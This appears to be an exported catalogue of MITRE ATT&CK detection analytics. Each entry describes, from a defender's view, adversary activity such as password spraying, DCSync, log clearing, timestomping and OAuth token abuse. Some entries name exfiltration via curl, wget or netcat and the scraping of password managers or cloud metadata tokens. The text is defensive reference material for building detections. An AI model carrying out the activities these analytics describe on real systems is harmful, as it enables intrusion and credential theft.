The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1523 - AN1523"*

Table 7375. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0551#AN1523

Analytic 1623 - AN1623

Adversary compromises a Linux-based web server and modifies hosted web files by exploiting upload vulnerabilities, remote code execution, or replacing index.html via SSH/webshell.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1623 - AN1623"*

Table 7376. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0590#AN1623

Analytic 1326 - AN1326

Execution of service management commands like `systemctl list-units`, `service --status-all`, or direct reading of `/etc/init.d`.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1326 - AN1326"*

Table 7377. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0483#AN1326

Analytic 1263 - AN1263

Rapid login failures across different users from a single IP address, targeting SSH or PAM login with distinct username-password pairs

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1263 - AN1263"*

Table 7378. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0460#AN1263

Analytic 1632 - AN1632

Detects unauthorized invocation of replication operations (DCSync) via Directory Replication Service (DRS), often executed by threat actors using Mimikatz or similar tools from non-DC endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1632 - AN1632"*

Table 7379. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0594#AN1632

Analytic 1236 - AN1236

Local user accounts are created via binaries like 'useradd', 'adduser', or by editing passwd/shadow. Behavior chain includes execution of user management binaries or modification of user database files.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1236 - AN1236"*

Table 7380. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0447#AN1236

Analytic 1362 - AN1362

Monitor server and endpoint logs for unusual outbound network connections to cryptocurrency nodes, unauthorized scripts accessing financial systems, or automation targeting payment file formats. Detect curl/wget activity aimed at exfiltrating transaction data or credentials from financial apps.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1362 - AN1362"*

Table 7381. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0495#AN1362

Analytic 1237 - AN1237

Account creation using 'dscl -create' or via GUI tools. Detection involves command execution and file changes to the local directory services database.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1237 - AN1237"*

Table 7382. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0447#AN1237

Analytic 1372 - AN1372

Detection of adversaries disabling cloud monitoring and logging agents such as CloudWatch, Google Cloud Monitoring, or Azure Monitor by API calls or agent process termination.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1372 - AN1372"*

Table 7383. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0497#AN1372

Analytic 1273 - AN1273

Hidden file system use through APFS containers or custom plist configuration. Defender view: anomalous use of hdiutil or diskutil to attach hidden partitions, modification of plist entries tied to system volumes, or suspicious raw disk access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1273 - AN1273"*

Table 7384. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0461#AN1273

Analytic 1327 - AN1327

Discovery via launchctl commands, or process enumeration using `ps aux | grep com.apple.` to identify daemons and services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1327 - AN1327"*

Table 7385. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0483#AN1327

Analytic 1723 - AN1723

Mobile security products can often alert the user if their device is vulnerable to known exploits.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1723 - AN1723"*

Table 7386. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0645#AN1723

Analytic 1732 - AN1732

Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1732 - AN1732"*

Table 7387. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0650#AN1732

Analytic 1382 - AN1382

Detects GCC or Clang invoked on suspicious file paths (e.g., /tmp/, ~/Downloads) with output to executable binaries, followed by execution or outbound traffic from these binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1382 - AN1382"*

Table 7388. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0501#AN1382

Analytic 1283 - AN1283

Detection of default account usage such as Guest or Administrator performing interactive or remote logons on systems outside of installation or maintenance windows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1283 - AN1283"*

Table 7389. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0465#AN1283

Analytic 1238 - AN1238

Account created using esxcli commands. Sequence includes esxcli execution and successful modification to account DB.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1238 - AN1238"*

Table 7390. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0447#AN1238

Analytic 1328 - AN1328

Spike in object access from new IAM user or role followed by data exfiltration to external IPs

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1328 - AN1328"*

Table 7391. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0484#AN1328

Analytic 1832 - AN1832

Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1832 - AN1832"*

Table 7392. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0708#AN1832

Analytic 1823 - AN1823

Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1823 - AN1823"*

Table 7393. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0704#AN1823

Analytic 1329 - AN1329

OAuth token granted to external app followed by download of high-volume files in OneDrive/Google Drive

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1329 - AN1329"*

Table 7394. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0484#AN1329

Analytic 1239 - AN1239

Account created in a running container (e.g., via 'useradd' or by modifying /etc/passwd directly). Detectable via runtime telemetry (e.g., Falco or eBPF hooks).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1239 - AN1239"*

Table 7395. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0447#AN1239

Analytic 1293 - AN1293

Defenders may observe adversary attempts to patch system images by monitoring for anomalous file transfers (TFTP, SCP, FTP) of image files, unauthorized CLI commands altering boot system variables, integrity check mismatches between running and baseline OS images, and runtime memory manipulation attempts. Suspicious sequences include uploading a new image, modifying boot parameters, and subsequent reload/reboot of the device. In-memory patching attempts may manifest as debug commands or boot loader manipulation inconsistent with normal administrative activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1293 - AN1293"*

Table 7396. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0469#AN1293

Analytic 1392 - AN1392

Detects unexpected encrypted egress traffic from management services (e.g., hostd) or guest VMs utilizing symmetric encryption without traditional protocols (e.g., FTP with embedded AES ciphertext).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1392 - AN1392"*

Table 7397. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0503#AN1392

Analytic 1244 - AN1244

Detect user-initiated kextload commands or modifications to /Library/Extensions. Correlate with changes to KextPolicy database or unauthorized developer signing identities. Alert on attempts to

disable SIP or load legacy extensions from unsigned sources.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1244 - AN1244"*

Table 7398. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0450#AN1244

Analytic 1442 - AN1442

Detects AppleScript or Objective-C usage to generate fake authentication windows (e.g., using display dialog or NSAlert) from user-launched or persistence-related processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1442 - AN1442"*

Table 7399. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0521#AN1442

Analytic 1424 - AN1424

Token retrieval from instance metadata endpoints such as AWS IMDS or Azure IMDS, followed by API usage using the obtained token from non-standard applications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1424 - AN1424"*

Table 7400. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0515#AN1424

Analytic 1245 - AN1245

Defenders can identify PowerShell profile-based persistence by correlating file creation or modification in known profile locations with subsequent PowerShell process launches that do not use the `-NoProfile` flag. Profile scripts loading unusual modules or launching external programs, particularly under elevated contexts, are suspicious and may represent adversary persistence or privilege escalation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1245 - AN1245"*

Table 7401. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0451#AN1245

Analytic 1254 - AN1254

Anomalous use of ICMP or UDP by non-network service processes for data exfiltration or remote control, especially if traffic bypasses proxy infrastructure or shows unusual flow patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1254 - AN1254"*

Table 7402. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0457#AN1254

Analytic 1452 - AN1452

Process creation and command-line execution of native system discovery utilities such as `systeminfo`, `hostname`, `wmic`, or use of PowerShell/WMI for system enumeration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1452 - AN1452"*

Table 7403. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0525#AN1452

Analytic 1542 - AN1542

Monitor CLI 'reload' commands issued without scheduled maintenance, and correlate to TACACS+/AAA logs for privilege validation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1542 - AN1542"*

Table 7404. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0559#AN1542

Analytic 1425 - AN1425

Unusual OAuth app registration followed by user-granted OAuth tokens and subsequent high-privilege resource access via those tokens.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1425 - AN1425"*

Table 7405. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0515#AN1425

Analytic 1524 - AN1524

Multiple failed sign-in attempts from external sources across many users followed by success from the same IP

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1524 - AN1524"*

Table 7406. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0551#AN1524

Analytic 1246 - AN1246

Detection correlates abnormal installation or modification of root or code-signing certificates, creation/modification of suspicious registry keys for trust providers, and unusual module loads from non-standard locations. Identifies unsigned or improperly signed executables bypassing trust prompts, combined with persistence artifacts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1246 - AN1246"*

Table 7407. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0452#AN1246

Analytic 1462 - AN1462

Execution of files with reversed filename extensions using Unicode RTLO character. Frequently used to deceive Gatekeeper and users in Safari or Mail-based phishing.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1462 - AN1462"*

Table 7408. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0527#AN1462

Analytic 1642 - AN1642

Suspicious access to password manager vaults (KeePassXC, gnome-keyring, pass) via memory scraping or unauthorized file reads. Detects unusual command execution involving gdb/strace attached to password manager processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1642 - AN1642"*

Table 7409. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0597#AN1642

Analytic 1624 - AN1624

Adversary modifies web-facing content on macOS via web development environments like MAMP or misconfigured Apache instances, typically with access to the hosting user account or via persistence tools.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1624 - AN1624"*

Table 7410. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0590#AN1624

Analytic 1426 - AN1426

Use of OAuth tokens by third-party apps to access user mail, calendar, or SharePoint resources where the token was granted recently or via spearphishing.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1426 - AN1426"*

Table 7411. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0515#AN1426

Analytic 1264 - AN1264

Burst of failed authentications with rotating usernames against loginwindow or remote management service using reused breached credentials

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1264 - AN1264"*

Table 7412. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0460#AN1264

Analytic 1427 - AN1427

Programmatic access to user content via stolen access tokens in platforms like Slack, GitHub, Google Workspace — especially from new IPs, apps, or excessive resource access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1427 - AN1427"*

Table 7413. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0515#AN1427

Analytic 1247 - AN1247

Detection monitors extended attribute manipulation (xattr) to strip quarantine or trust metadata, anomalous installation of root certificates in /etc/ssl or /usr/local/share/ca-certificates, and unauthorized modification of system trust stores. Correlates with unexpected process execution involving package managers or custom certificate utilities.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1247 - AN1247"*

Table 7414. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0452#AN1247

Analytic 1472 - AN1472

Detects behavioral sequence where an adversary gains elevated privileges and clears event logs using native binaries (e.g., wevtutil), PowerShell, or direct file deletion of .evtx files.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1472 - AN1472"*

Table 7415. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0532#AN1472

Analytic 1274 - AN1274

Detects anomalous network traffic on UDP 5355 (LLMNR) and UDP 137 (NBT-NS) combined with unauthorized SMB relay attempts, registry modifications re-enabling multicast name resolution, or suspicious service creation indicative of adversary-in-the-middle credential interception.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1274 - AN1274"*

Table 7416. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0462#AN1274

Analytic 1742 - AN1742

Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. Mobile Threat Defense

(MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells. Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1742 - AN1742"*

Table 7417. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0655#AN1742
https://partner.samsungknox.com/mtd

Analytic 1724 - AN1724

Mobile security products can often alert the user if their device is vulnerable to known exploits.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1724 - AN1724"*

Table 7418. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0645#AN1724

Analytic 1482 - AN1482

1) pkg/notarization installs from atypical sources or with Gatekeeper/AMFI warnings; 2) new Mach-O written into /Applications or ~/Library paths or substitution of signed components; 3) first run from installer spawns unsigned children or exfil.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1482 - AN1482"*

Table 7419. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0537#AN1482

Analytic 1248 - AN1248

Detection monitors modification of code signing attributes, Gatekeeper/quarantine flags, and insertion of new trust certificates via security add-trusted-cert. Identifies adversary use of xattr to strip quarantine flags from downloaded binaries. Correlates with abnormal module loads bypassing SIP protections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1248 - AN1248"*

Table 7420. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0452#AN1248

Analytic 1284 - AN1284

Monitoring for SSH logins from default accounts such as 'root', especially when login is via password and not key-based authentication.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1284 - AN1284"*

Table 7421. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0465#AN1284

Analytic 1428 - AN1428

Detects the execution of scripting or command interpreters (e.g., powershell.exe, cmd.exe, wscript.exe) outside expected administrative time windows or from abnormal user contexts, often followed by encoded/obfuscated arguments or secondary execution events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1428 - AN1428"*

Table 7422. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0516#AN1428

Analytic 1824 - AN1824

Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1824 - AN1824"*

Table 7423. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0704#AN1824

Analytic 1842 - AN1842

The user can examine the list of all installed applications, including those with a suppressed icon, in the device settings. If the user is redirected to the device settings when tapping an application’s

icon, they should inspect the application to ensure it is genuine. Application vetting services could potentially detect the usage of APIs intended for suppressing the application's icon.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1842 - AN1842"*

Table 7424. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0714#AN1842

Analytic 1249 - AN1249

Defenders may observe suspicious SNMP MIB enumeration through abnormal queries for large sets of OIDs, repeated SNMP GETBULK/GETNEXT requests, or queries originating from non-administrative IP addresses. Anomalous use of community strings, authentication failures, or enumeration activity outside maintenance windows may also indicate attempts to dump MIB contents. Correlation across syslog, NetFlow, and SNMP audit data can reveal chains of behavior such as repeated authentication failures followed by successful large-scale OID retrieval.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1249 - AN1249"*

Table 7425. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0453#AN1249

Analytic 1429 - AN1429

Detects use of shell interpreters (e.g., bash, sh, python, perl) initiated by users or processes not normally executing them, especially when chaining suspicious utilities like netcat, curl, or ssh.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1429 - AN1429"*

Table 7426. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0516#AN1429

Analytic 1942 - AN1942

Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1942 - AN1942"*

Table 7427. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0810#AN1942

Analytic 1492 - AN1492

Ephemeral or unauthorized container instantiation using public images (e.g., from DockerHub) that initiate high CPU usage shortly after startup. Often scheduled via Kubernetes or Docker socket abuse.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1492 - AN1492"*

Table 7428. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0540#AN1492

Analytic 1294 - AN1294

Untrusted processes creating outbound TLS/HTTPS connections with malformed certificates or header fields, often mismatched with target service behavior. Detects protocol impersonation attempts via traffic metadata analysis and host process lineage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1294 - AN1294"*

Table 7429. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0470#AN1294

Analytic 1525 - AN1525

Login attempt failures over SNMP, Telnet, or SSH interface, often reflected in logs or syslog events

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1525 - AN1525"*

Table 7430. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0551#AN1525

Analytic 1552 - AN1552

Linux environmental validation behavioral chain: (1) Intensive system enumeration through command execution (uname, hostname, ifconfig, lsblk, mount), (2) File system reconnaissance targeting specific paths, network configurations, and installed packages, (3) Process and user enumeration to validate target environment characteristics, (4) Conditional script execution or binary activation based on environmental criteria, (5) Network connectivity validation and

external IP address resolution for geolocation verification

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1552 - AN1552"*

Table 7431. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0562#AN1552

Analytic 1255 - AN1255

ICMP or raw socket traffic generated by user-mode processes like bash, Python, or nc, typically using `ping`, `hping3`, or crafted packets via libpcap or scapy.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1255 - AN1255"*

Table 7432. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0457#AN1255

Analytic 1526 - AN1526

Password guessing attempts against web-based apps (e.g., Dropbox, Google Workspace) reflected in API or sign-in logs

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1526 - AN1526"*

Table 7433. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0551#AN1526

Analytic 1265 - AN1265

Same source IP performing multiple authentication attempts using known breached username/password combinations across different identities in Azure AD, Okta, or Duo

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1265 - AN1265"*

Table 7434. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0460#AN1265

Analytic 1256 - AN1256

Unsigned binaries or interpreted scripts initiating non-standard protocols (ICMP, UDP, SOCKS)

outside of baseline network behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1256 - AN1256"*

Table 7435. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0457#AN1256

Analytic 1625 - AN1625

Adversary modifies content in cloud-hosted websites (e.g., AWS S3-backed, Azure Blob-hosted sites) by gaining access to management consoles or APIs and uploading altered HTML/JS files.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1625 - AN1625"*

Table 7436. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0590#AN1625

Analytic 1562 - AN1562

Processes executing commands to query system locale and language settings, such as 'locale', 'echo $LANG', or parsing environment variables. Suspicious activity is indicated by these commands being run by unusual users, automation scripts, or non-administrative processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1562 - AN1562"*

Table 7437. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0565#AN1562

Analytic 1652 - AN1652

The user can view a list of device administrators in device settings and revoke permission where appropriate. Applications that request device administrator permissions should be scrutinized further for malicious behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1652 - AN1652"*

Table 7438. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0603#AN1652

Analytic 1572 - AN1572

Processes such as curl, wget, rclone, or custom scripts executing uploads to cloud storage endpoints. Defender perspective: detect chained events where tar/gzip is executed to compress files followed by HTTPS PUT/POST requests to known storage services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1572 - AN1572"*

Table 7439. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0570#AN1572

Analytic 1257 - AN1257

VMCI (Virtual Machine Communication Interface) traffic between guest and host, or between VMs, originating from non-management tools or unauthorized binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1257 - AN1257"*

Table 7440. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0457#AN1257

Analytic 1275 - AN1275

High volume of failed logon attempts followed by a successful one from a suspicious user, host, or timeframe

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1275 - AN1275"*

Table 7441. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0463#AN1275

Analytic 1527 - AN1527

Detects creation or modification of Windows Services through command-line tools (e.g., `sc.exe`, `powershell.exe`), Registry key changes under `HKLM\System\CurrentControlSet\Services`, and service execution under SYSTEM with unsigned or anomalous binary paths. Detects privilege escalation via driver installation or `CreateServiceW` usage. Correlates parent-child lineage, startup behavior, and rare service names.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1527 - AN1527"*

Table 7442. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0552#AN1527

Analytic 1725 - AN1725

Application vetting services can detect certificate pinning by examining an application's `network_security_config.xml` file, although this behavior can be benign.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1725 - AN1725"*

Table 7443. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0646#AN1725

Analytic 1752 - AN1752

Application vetting services can look for applications requesting the `android.permission.BIND_ACCESSIBILITY_SERVICE` permission in a service declaration. On Android, the user can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions. On Android, the user can view and manage which applications have third-party keyboard access through the device settings in System → Languages & input → Virtual keyboard. On iOS, the user can view and manage which applications have third-party keyboard access through the device settings in General → Keyboard.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1752 - AN1752"*

Table 7444. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0661#AN1752

Analytic 1258 - AN1258

Non-standard port/protocol pairings or low-entropy ICMP traffic resembling tunneling patterns (e.g., fixed-size pings with delays).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1258 - AN1258"*

Table 7445. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0457#AN1258

Analytic 1285 - AN1285

Use of known default service accounts or root-level cloud accounts performing authentication or changes to IAM policy.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1285 - AN1285"*

Table 7446. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0465#AN1285

Analytic 1582 - AN1582

Detects use of built-in SaaS sharing mechanisms to transfer ownership or share access of critical data to external tenants or untrusted users through API calls or link generation features.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1582 - AN1582"*

Table 7447. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0573#AN1582

Analytic 1528 - AN1528

Detects the creation or execution of padded binary files (e.g., large size but minimal legitimate content) followed by process execution or lateral movement from the host.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1528 - AN1528"*

Table 7448. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0553#AN1528

Analytic 1852 - AN1852

Dynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1852 - AN1852"*

Table 7449. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0720#AN1852

Analytic 1825 - AN1825

The user can view and manage installed third-party keyboards. Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1825 - AN1825"*

Table 7450. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0705#AN1825

Analytic 1592 - AN1592

Modification of Thunderbird message filters file or execution of CLI tools (e.g., formail/procmail) that alter .forward behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1592 - AN1592"*

Table 7451. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0576#AN1592

Analytic 1952 - AN1952

Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1952 - AN1952"*

Table 7452. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0820#AN1952
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 1529 - AN1529

Detects abnormal creation of binary files with significant size that are subsequently executed or accessed by non-standard users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1529 - AN1529"*

Table 7453. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0553#AN1529

Analytic 1259 - AN1259

Adversary modifies Active Directory domain trust settings via `netdom`, `nltest`, or PowerShell to add new domain trust or alter federation. Modifications occur in AD object attributes like trustDirection, trustType, trustAttributes, often paired with SeEnableDelegationPrivilege or certificate injection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1259 - AN1259"*

Table 7454. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0458#AN1259

Analytic 1295 - AN1295

Detection of binaries spawning encrypted sessions using OpenSSL or curl to external services with mismatched ports/protocols. Identifies behavior where internal services simulate trusted cloud service traffic patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1295 - AN1295"*

Table 7455. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0470#AN1295

Analytic 1626 - AN1626

Detects attempts to modify file timestamps via API usage (e.g., `SetFileTime`), CLI tools (e.g., `w32tm`, PowerShell), or double-timestomp behavior where $SI and $FN timestamps are mismatched or reverted.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1626 - AN1626"*

Table 7456. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0591#AN1626

Analytic 1266 - AN1266

Multiple sign-in failures against cloud-based applications using username/password combinations leaked from unrelated domains

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1266 - AN1266"*

Table 7457. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0460#AN1266

Analytic 1662 - AN1662

Unexpected behavior from an application could be an indicator of masquerading. Application vetting services may potentially determine if an application contains suspicious code and/or metadata.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1662 - AN1662"*

Table 7458. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0609#AN1662

Analytic 1267 - AN1267

Router/firewall/syslog logs showing authentication failures with unique usernames and reused credentials from same source IP

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1267 - AN1267"*

Table 7459. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0460#AN1267

Analytic 1627 - AN1627

Detects use of timestamp-altering commands like `touch -a -m -t` or `touch -r`, particularly when executed by unusual users or in suspicious directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1627 - AN1627"*

Table 7460. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0591#AN1627

Analytic 1276 - AN1276

Multiple authentication failures for valid or invalid users followed by success from same IP/user

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1276 - AN1276"*

Table 7461. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0463#AN1276

Analytic 1762 - AN1762

Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1762 - AN1762"*

Table 7462. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0667#AN1762

Analytic 1672 - AN1672

[Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1646) can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1672 - AN1672"*

Table 7463. Table References

Links
